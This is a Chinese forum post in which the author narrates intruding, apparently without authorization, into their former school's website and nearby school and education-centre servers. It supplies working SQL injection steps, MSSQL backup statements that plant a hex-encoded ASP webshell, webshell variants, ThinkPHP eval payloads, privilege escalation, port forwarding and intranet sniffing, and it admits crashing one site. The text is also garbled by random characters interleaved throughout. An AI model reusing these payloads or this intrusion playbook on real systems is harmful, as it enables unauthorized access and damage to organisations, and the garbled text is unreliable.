來源:http://bbs.ichunqiu.com/thread-9230-1-1.html?from=ch
過程不算曲折暗挑,但還算漫長膛薛,知識點比較零碎迷捧,適合新手學習轻掩。
那么幸乒,那時我還小,我們一起來回憶唇牧,那些年 我們年少時 蛋疼的折騰罕扎。
離開母校那年聚唐,摯友擺了飯局送我,席間我和楷文(淡定哥)有個約定腔召。杆查。。
時不我待宴咧,轉眼一載根灯,人事變遷,容顏滄桑掺栅,楷文兄,沒我的日子你別來無恙纳猪。母校官網(wǎng)我還沒搞定氧卧,你是否已經(jīng)炸了她的墻角?
由于種種原因氏堤,一直沒有足夠的時間沙绝。。鼠锈。滲透過程七零八落
來看下情況:
母校主站:www.*****x.cn
*信息收集
初步刺探結果:
某些數(shù)據(jù)庫的調(diào)用做了防注入處理:
[AppleScript]純文本查看復制代碼
web服務:iis6.0ASP 支持aspx
數(shù)據(jù)庫:access
網(wǎng)站后臺:http://www.******cn/admin/login.asp
手工找到數(shù)字型注入點:http://www.s*******.cn/news_detail.asp?id=954
明顯的入庫查詢 sqlinjection
Sqlmap跑起來
結果不太理想闪檬,爆破不出表和字段,看來管理員為了防止猜表做了表前綴
對于access的注入购笆,猜不到表粗悯,滲透戛然而止
后來又在復習的時候看到了sql注入access導出txt等文件方法,不能導出asp??但是我們可以配合IIS6.0解析漏洞導出binghe.asp;binghe.txt之類的文件
那么問題來了??同欠, 路徑哪里找样傍?? 又不是phpmyadmin之類的可以報錯文件铺遂,asp報錯路徑很少衫哥,但是我突然想到了conn.asp和5c%暴庫
5c%是沒有成功,conn.asp還是可以的襟锐,直接訪問數(shù)據(jù)庫連接文件撤逢,數(shù)據(jù)庫連接文件和數(shù)據(jù)調(diào)用的相對路徑?jīng)_突導致報錯,沒錯爆出了絕對路徑:
那么來sqlmap的–sql-shell用傳說中的sql執(zhí)行access導出txt粮坞、xls試試 配合iis6.0解析漏洞(PS:access已經(jīng)過時蚊荣,沒研究過,小菜也不清楚access的sqlshell是不是可以執(zhí)行捞蚂,以前在后臺遇到過可以執(zhí)行sql的功能妇押,譬如帝國的某些版本)
逐一執(zhí)行以下語句就可以導出一句話了
[AppleScript]純文本查看復制代碼
1
2
3
4create table cmd(a varchar(50))
insertintocmd(a)values('一句話木馬')
select*into[a]in'e:\web\webshellcc\1.asa;x.xls' 'excel4.0;'fromcmd
drop table cmd
更簡單的
[AppleScript]純文本查看復制代碼
Select 'asp一句話木馬'into[vote]in'e:\web\webshellcc\1.asa;x.xls' 'excel8.0;' fromvote
Sqlshell執(zhí)行無果 看來是我想多了??也許access注入點根本就不能取得真正的sqlshell
轉而看其網(wǎng)站后臺,用burpsuite爆破沒跑出來姓迅,敲霍, 失敗
小站俊马,也看不出是什么cms,掃了目錄肩杈,沒有大的發(fā)現(xiàn)柴我,有上傳,但是需要登錄扩然,無法有效利用艘儒,有留言板,嘗試XSS夫偶,無果界睁,存在iis短文件名泄露漏洞,利用無果
入侵腳步又戛然而止
上次刺探主站沒有什么收獲??C段之兵拢,
瞄到一個站 本市的**中學??久聞大名翻斟!
注入一個,说铃,sqlmap之
[AppleScript]純文本查看復制代碼
--current-user?? --sql-shell--os-shell
sa7孟А!D迳取债热!
[AppleScript]純文本查看復制代碼
selectcount(*)frommaster.dbo.sysobjectswherextype='x' andname='xp_cmdshell'
返回”1″,說明存在存儲過程xp_cmdshell
試著執(zhí)行cmd 不行啊老是超時??怪事
os-shell嘗試獲得交互式cmd??SQLmap自動提權修復xp_cmdshell也是超時??不明白哪里出了問題
手動在注入點執(zhí)行也不行幼苛。窒篱。
咋辦呢?想想還是找目錄寫個shell
用啊D列個目錄??列了一會通過對比就找到了根目錄
D:\wwwroot\dxzx\
跑了數(shù)據(jù) 解了md5??進了后臺??想差異備份??但是手抖弄了個插配置文件一句話??但是忘了閉合asp標記
后來網(wǎng)站掛了??差點嚇哭??我真的不是故意的 蚓峦。??無法復現(xiàn)??等恢復了再說吧
個人對此表示萬分歉意舌剂,對不起,已經(jīng)致道歉信與修復方案至管理員郵箱
后來想到自己是多么的愚蠢暑椰,為什么不log備份霍转,增量備份導出shell呢?一汽?避消?
讓我喝一杯82年的樂事冷靜一下
其實log備份導出Public權限都能導出,更何況我們是sa召夹,如果遇到奇葩的磁盤權限岩喷,可以嘗試圖片上傳目錄
#導出方法有以下幾種方法:
MSSQL差異備份,就是和前一次備份作對比监憎,把不一樣的內(nèi)容備份下來纱意,這樣,只要前一次備份后鲸阔,插入新的內(nèi)容偷霉,差異備份就可以把剛插入的內(nèi)容備份出來迄委,而這個備份文件將大大減少,得到webShell的成功也提高了不少!
差異備份的流程大概這樣:
[AppleScript]純文本查看復制代碼
01
02
03
04
05
06
07
08
09
10
11
121.完整備份一次(保存位置當然可以改)
backup database 庫名todisk='c:\ddd.bak';--
2.創(chuàng)建表并插曲入數(shù)據(jù)
create table [dbo].[dtest]([cmd] [image]);
insertintodtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--
3.進行差異備份
backup database 庫名todisk='目標位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
上面
[AppleScript]純文本查看復制代碼
0x3C25657865637574652872657175657374282261222929253E
就是一句話木馬的內(nèi)容:
[AppleScript]純文本查看復制代碼
<%execute(request("a"))%>
如下是整理的常見的差異備份代碼类少,思路一樣叙身!
===================================================
利用差異備份提高提高backupwebshell的成功率,減少文件大小
步驟:
[AppleScript]純文本查看復制代碼
1
2
3
4declare @a sysname,@s nvarchar(4000)select@a=db_name(),@s=0x77006F006B0061006F002E00620061006B00backup database @a todisk=@s
create table [dbo].[xiaolu]([cmd] [image]);
insertintoxiaolu(cmd)values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000)select@a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000backup database @atodisk=@s WITH DIFFERENTIAL,FORMAT
0x77006F006B0061006F002E00620061006B00為wokao.bak
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
聲明:方法不是我想的,我只是寫工具硫狞,默認得到shell是
[AppleScript]純文本查看復制代碼
<%execute(request("a"))%>
===============================================================
我發(fā)現(xiàn)上面代碼信轿,有時會無效,而直接用
[AppleScript]純文本查看復制代碼
1
backup database 庫名todisk='c:\ddd.bak' create table [dbo].[dtest]([cmd] [image]); insertintodtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E)backup database 庫名todisk='目標位置\d.asp'WITH DIFFERENTIAL,FORMAT;--
卻可以成功残吩,所以把最原始的方法寫出來财忽!思路是前人所創(chuàng),這不說大家也知道的!庫名 必須要有效的庫名世剖,一般注入工具都可以得到定罢!如果某站過濾 “‘”,就要把字符內(nèi)容轉為數(shù)值了!
網(wǎng)上還有l(wèi)og增量備份的旁瘫,我也把他記錄一下
=====================================================
另一種log增量備份技術:
例:在注入點用;聯(lián)合執(zhí)行
[AppleScript]純文本查看復制代碼
1
2
3
4
5
6';alter database nullsetRECOVERY FULL--
';create table cmd(aimage)--
';backuplognulltodisk='f:\cmd'withinit--
';insertintocmd(a)values(0x3C2565786563757465287265717565737428226122292
9253EDA)--
';backuplognulltodisk='備份路徑'--
PS:0x3C25657865637574652872657175657374282261222929253EDA 是一句話小馬16進制轉來的
是為了防止單引號和asp標志的閉合問題琼蚯,下面是幾種可以嘗試的寫法:
[AppleScript]純文本查看復制代碼
1
2
3
4
5a).<%%25Execute(request("a"))%%25>
b).<%Execute(request("a"))%>
c).%><%execute request("a")%><%
d).executerequest("a")
e).<%25Execute(request("a"))%25>
權限夠大還可以直接調(diào)用systemobject的函數(shù)直接寫:限于篇幅酬凳,大家可以自行整理
還是沒拿下??但是我的腳步不會停止
C段一圈,很快拿下個脆弱的網(wǎng)站遭庶,賬戶名和密碼都是網(wǎng)站簡稱宁仔、簡單的提權了
權限還可以
內(nèi)網(wǎng) lcx轉發(fā)過來
不過,c段的內(nèi)網(wǎng)峦睡,意義不大翎苫,丟棄。
轉了一會榨了,又一個c段的煎谍,直接注入寫shell,也是直接溢出提權
又是內(nèi)網(wǎng)龙屉。呐粘。運氣不是很好啊。
卡的讓人想死??估計是個喳喳服務器转捕,不看他了作岖。。五芝。
拿的c段都是內(nèi)網(wǎng)痘儡,不能arp劫持目標,嗅探不到枢步。沉删。渐尿。。
思路轉一下丑念,來看旁注涡戳!拿目標的內(nèi)網(wǎng)
拿下一個與主站同外網(wǎng)ip的站點 有希望撕入內(nèi)網(wǎng)。脯倚。渔彰。
套路是注入進后臺 截斷拿shell
來提權服務器??又是惡心的內(nèi)網(wǎng) 老套路轉發(fā)上去
轉發(fā)好 登錄 看到這樣子
不管他,mstsc/admin,擠下去推正,恍涂,
看了下,主站不在服務器上植榕,運氣好背啊再沧,小小內(nèi)網(wǎng)滲透一下
密碼是隨機設定的,其實那個不是密碼尊残,說明存在ipc$空連接的漏洞炒瘸,好古老啊,手工利用一下看看寝衫,失敗了顷扩,我都沒心情一個一個測試了
讀取一下管理密碼,掃一下慰毅?
沒讀出來管理員的隘截。。為什么運氣這么差??導出hash去破解我也懶得搞了
嗅探開始汹胃,不久就有結果了哈哈
但是都是一些無用的信息婶芭,現(xiàn)在這里嗅探著,過個十天半個月的再來看看
內(nèi)網(wǎng)存活:
那么問題來了着饥,我們可不可以在內(nèi)網(wǎng)里面netfake犀农?
目標站的內(nèi)網(wǎng)ip我們是通過在網(wǎng)站主頁點一個校內(nèi)應用得知的
事實證明不行,贱勃,井赌,先放在那里嗅探吧??。贵扰。仇穗。。戚绕。
其實還有ip沖突劫持纹坐,不過劫持就沒意思啦??我還是要拿到權限
再來看看另外一個旁站
下次看吧? ???背著書包上學堂。舞丛。耘子。果漾。。谷誓。绒障。。捍歪。户辱。。糙臼。
額 放假了
再來看看徐州市********育中心
運氣比較好庐镐,Thinkphp框架,命令執(zhí)行直接拿下
具體方法:
[AppleScript]純文本查看復制代碼
1
2
3index.php/module/aciton/param1/${@phpinfo()}
index.php/module/action/param1/{${eval($_POST[s])}}
來了來了提權
翻到了root直接來udf但是用t00ls的shell提權顯示創(chuàng)建lib/plugin目錄失敗
直接在菜刀里面右鍵創(chuàng)建目錄成功
上用戶
其實這里的udf 為了防止各種錯誤??我寫過一個小工具 傳上去運行变逃,將 自動udf mof 和 lpk 三種方式提權必逆,詳情見
[AppleScript]純文本查看復制代碼
https://github.com/v5est0r/mysql-promoting-privileges
lcx 連接上去看看
翻下目錄??沒有目標站信息等
碼字很累,完結篇很快會寫出來揽乱,更精彩哦
未完待續(xù)名眉。。凰棉。